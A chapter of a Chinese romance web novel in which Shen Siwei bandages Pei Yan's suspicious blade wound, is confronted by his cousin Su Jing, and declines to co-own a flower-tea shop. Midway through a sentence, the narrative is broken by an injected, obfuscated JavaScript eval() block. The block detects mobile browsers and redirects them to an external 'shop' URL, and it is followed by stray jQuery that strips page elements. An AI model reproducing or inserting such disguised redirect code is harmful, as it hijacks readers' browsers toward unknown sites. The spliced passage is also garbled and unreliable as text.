纱布上蔓延开来的血迹触目惊心,沈思微不禁倒吸一口凉气。
这显然不是她那一巴掌能推出来的。
“你受伤了?”她脱口而出。
裴衍似是没想到她会直接上手,更没见过这阵仗,一时愣住了,听她问起缘由才回过神来,随口解释:“哦……前几日去查验库房,有个伙计搬运木箱时脚下打滑,箱子砸落下来。我避闪不及,被箱子外头露出的生铁钉划了一道口子罢了。”
沈思微并未怀疑真假,只道:“看样子是伤口裂开了,我去叫人给你请郎中。”
“不必了,”裴衍叫住她,“郎中方才刚走,已经上过药了,重新包扎一下就好。”
沈思微又问:“那纱布和药在哪儿?我帮你拿。”
裴衍指向桌案的抽屉,她一边动作利索地把纱布和药瓶都拿出来,一边嘴上还嘟囔着:“看你平日里一副聪明绝顶的样子,怎么笨手笨脚的,还能被钉子划成这样?”
裴衍闻言眼神微动,低头轻笑,并未反驳。
沈思微把东西摆在桌上:“要我帮你叫人吗?你身边那个……小翠呢?”她十分艰难地念出这个名字。
“他被我打发去做事了。”裴衍忍着笑道,“我自己来便好,劳烦沈娘子在外头稍候片刻。”
“哦。”沈思微点点头,一步三回头地往外走。
她看见裴衍在案前坐下,将衣袖撩至肩膀处,单手去解那死扣,解了半天也没解开。
她心里有些过意不去。说到底,还是因为她推的那一把才这样的。虽说无知者无罪,但她也做不到袖手旁观。
“我来帮你吧。”沈思微折返到他身边,俯下身子伸手帮他拆纱布,还不忘给自己找补:“等你解开,血都要流干了。”
裴衍动作一顿,一抬头,视线正好与她近在咫尺的面庞撞了个正着。
沈思微正聚精会神地拆着纱布,她能察觉到裴衍好像是愣住了,但她没顾得上管这些。
纱布一层层解开,最后一圈揭落的时候,她终于看清了那道伤口的全貌,倏地皱紧了眉头,胸口沉闷得厉害。
那伤口齐整平滑,又窄又深,边缘处红肿着,看起来触目惊心。她虽然不是学医的,但不难看出这根本不是钉子划出来的伤口,这分明是利器所伤!
裴深看着不像是会舞刀弄枪的,怎么会被利器伤到?
沈思微满心疑惑,但她这次忍住了,什么都没问。以她多年追剧和看小说的经验来看,跟动刀子有关的事,还是知道的越少越好。
她一声不响地拿着干净纱布替他擦拭伤口周围,听到裴衍的声音自头顶传来:“你……”
“你别说话,”沈思微打断他,手上动作没停,“我晕伤口,你再跟我说话我就要吐了。”
“……哦。”
沈思微忍不住勾起唇角,这个时候还挺乖的嘛。
屋内安静下来,只有窸窸窣窣的声响。
擦拭干净伤口周围,沈思微把药粉小心翼翼地撒在创面上。她瞥见裴衍眉心紧蹙,可他咬着牙硬是一声也没出。
她下意识凑近了些,轻轻吹了口气。
“呼——”
“沈、沈娘子……”裴衍的声音顿时变得有些古怪。
沈思微没耐心地“啧”了一声:“不是让你别说话吗?”
“……”
她又吹了几口,忽然注意到裴衍的手臂上起了一片细小的鸡皮疙瘩。他的手臂像是僵住了一般,硬挺挺的伸着,让她觉得有些好笑。
这只狐狸也有慌乱的时候。
她拿起新的纱布,一圈一圈缠绕在伤口上,偶尔还要停下来调整一下松紧,确保既不会太松容易散开,也不会太紧勒得难受。
直到看不见那道血淋淋的伤口,她才松了口气,胸口那阵难受的感觉也缓解了许多。但与此同时,一些不合时宜的念头趁虚而入了。
裴衍平日穿着那些宽袍大袖的衣裳,看着清瘦颀长,想不到手臂的肌肉线条却这般清晰流畅。
她忍不住偷偷看了好几眼,手上的动作不由自主地慢了下来。
既然手臂的肌肉线条都这么漂亮,那这长衫底下……会不会有腹肌?
八块?还是六块?
沈思微的思绪如同脱缰的野马,瞬间跑到了一个不可言说的危险地带。
这个念头刚一冒出来,她的脸一下烧了起来。
这都什么时候了!人家在流血受苦,她竟然在这里脑补一些不能过审的内容!
她在心里狠狠唾骂了自己一句,赶紧将视线专注在纱布上,可越是想让自己冷静下来,脸上的热度就越往上窜。
偏偏就在这时,她一抬眼,正对上了裴衍的视线。
他正看着她,不知道看了多久。
沈思微顿时有种被抓包的心虚感,凶巴巴地恶人先告状:“你看什么看!”
谁料裴衍看上去比她还心虚几分,目光飞快移到那条被缠了一半纱布的手臂上,干巴巴地说:“我看看……包得怎么样。”
“你明明在看我!”沈思微凶完,后知后觉地意识到她越这么大惊小怪,就越显得不正常。裴衍这么聪明,有这么喜欢捉弄她,被他发现异样肯定会抓着不放的。
她赶紧清了清嗓子,故作镇定地道:“你这伤看着挺严重的,得好好养着,别成天在外头跑来跑去的了。”
“……嗯。”裴衍干巴巴地应了一声。
两个人都不再说话了。
沈思微暗自庆幸他没发现什么,赶紧给纱布收尾打结,正要拉紧的时候,一道熟悉的声音传来。
“表哥!表哥你在吗!”
一阵轻快的脚步声靠近门口,两人还没来得及反应,房门“哐”的一声被推开了。
“表哥,舅舅说让你带我出去玩,今天你可不能再——”
苏婧风风火火地冲进来,笑容在看清屋内情形的那一刹那僵在脸上。
一时间,三个人六只眼睛,面面相觑。
短暂的沉默后,苏婧大喊一声:“你们在干什么!”
沈思微眨眨眼。
干什么?纱布、药瓶、血腥味,这不是很明显吗?哦,还有裴衍的光膀子。
沈思微迅速打好最后一个结,直起身子:“苏小姐,你别误会,我是在……”
苏婧根本不想听她说话,瞪着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17476832|201297||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睛大声质问:“怎么又是你啊!你不是什么林记茶铺的吗?怎么三天两头往我表哥这儿跑?表哥,她到底是你什么人!”
“宁记宁记。”沈思微纠正。
裴衍将衣袖放下来,严肃地道:“沈娘子是我的朋友,方才她不过是帮我包扎伤口。你大呼小叫的,成何体统。”
“你们孤男寡女共处一室,还……还动手动脚的!我——”苏婧说到一半,似乎意识到了什么,话头一转,“等一下,表哥你受伤了?”
裴衍淡淡道:“皮外伤而已,不碍事。”
苏婧“哦”了一声,没再追问下去,又叉着腰看向沈思微,继续发火:“我上次说得还不够清楚吗?表哥是我的!就算你要打他的主意……”
“苏婧。”裴衍冷声开口。
苏婧下意识地缩了缩脖子,后半句话嘟嘟囔囔的没叫人听清。
裴衍看着她,眉目间不再是往日的温润和煦,而像是大人管教孩子般严厉地道:“你胡闹也该有个限度。沈娘子是我请来的客人,你若再如此无礼,我便让人即刻送你回去。”
苏婧低着头气鼓鼓的,先是瞪了沈思微一眼,又瞪了裴衍一眼,大大的“哼”了一声,跺着步子走了。
沈思微尴尬地挠了挠脸颊,偷偷看了一眼裴衍。
“那个……童言无忌,童言无忌。我不会跟她一般见识的,你也别生气了,气大伤身,还是好好养你的伤要紧。”
裴衍闻言,那张没严肃多久的脸又笑了出来:“你们分明是差不多的年纪,沈娘子倒是老成许多。”
沈思微笑笑。
再怎么说她也比那小姑娘多吃了好几年饭,又经历了社会的毒打,能不老成吗。
“既然你的伤已经包扎好了,我留在这里也不方便,就先告辞了。”沈思微眼珠一转,“至于花茶的生意,我已经跟柳掌柜说好了,先在聚香斋的铺子里试营业半个月,看看客人们的反响如何。花瓣供应的事,你直接去跟柳掌柜谈便是。”
她顿了顿,又道:“至于你说的,跟你一起开花茶铺子……”
裴衍听到了关键处,转头看向她。
“我可不会跟你一起开。”沈思微笑道。
裴衍挑了挑眉,似乎早料到她会这么说,却还是追问道:“为何?我出银子、你出点子,一同做东家、平起平坐。这条件,难道打动不了你?”
“条件是不亏待,”沈思微仰头一笑,“可我不愿意。”
裴衍正欲再问下去,沈思微转过身来,目光坦坦荡荡地与他对视,嘴角含着一抹狡黠的笑意:“至于为什么,到时候你自然就知道了。”
裴衍一怔,随即轻笑:“好,那在下等着便是。”
“嗯,我先走了,你好好养伤。”沈思微抬脚往外走,走了两步她又回头看了他一眼,补了一句:“下次再骗我,就没这么轻易原谅你了。”
她说完便头也不回地跨出了门槛,沿着回廊大步流星地走远了。
裴衍站在原地,目送着她的身影消失在月洞门后。她走路的样子依旧风风火火的,跟他见过的所有人都不一样。
“下次见面,又是什么时候呢。”